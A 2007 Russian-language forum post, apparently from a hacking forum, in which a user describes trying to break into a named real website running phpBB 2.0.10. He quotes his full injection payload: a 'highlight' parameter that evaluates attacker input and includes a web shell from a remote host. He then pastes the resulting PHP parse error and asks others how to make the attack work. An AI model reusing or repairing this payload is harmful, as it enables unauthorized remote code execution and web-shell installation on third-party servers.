Проблема с заливкой шелла в phpbb 2.0.10

Discussion in 'Песочница' started by Kozak-Scv, 3 Apr 2007.

  1. Kozak-Scv

    Kozak-Scv New Member

    Joined:
    26 Jan 2007
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    Решил ломануть форум _http://motodom.net/php/index.php узнал что версия форума phpBB 2.0.10 могу ошибатся узнал так если 2 раза ножимать по одной и той же теме то в адресной строке появлется вот это _http://www.motodom.net/php/index.php?name=PNphpBB2&file=viewtopic&t=4540&start=0&postdays=0&postorder=asc&highlight=&sid=12e6980a6353178ed84ffa9356a213d5
    как видете есть уязвимость highlight пытаюсь залить щелл вот такой командой _http://www.motodom.net/php/index.php?name=PNphpBB2&file=viewtopic&t=4540 и приписываю вот это "&highlight=%2527.eval($_GET[c1]).%2527&c1=include($_GET[c2])&c2=http://your.site.com/shell.php" и васкакивает вот такое сообшение "Parse error: parse error in /www/1vhosts/motodom.net/html/php/modules/PNphpBB2/viewtopic.php(1428) : regexp code(1) : eval()'d code on line 1
    " Подскажите что делать????
     
Loading...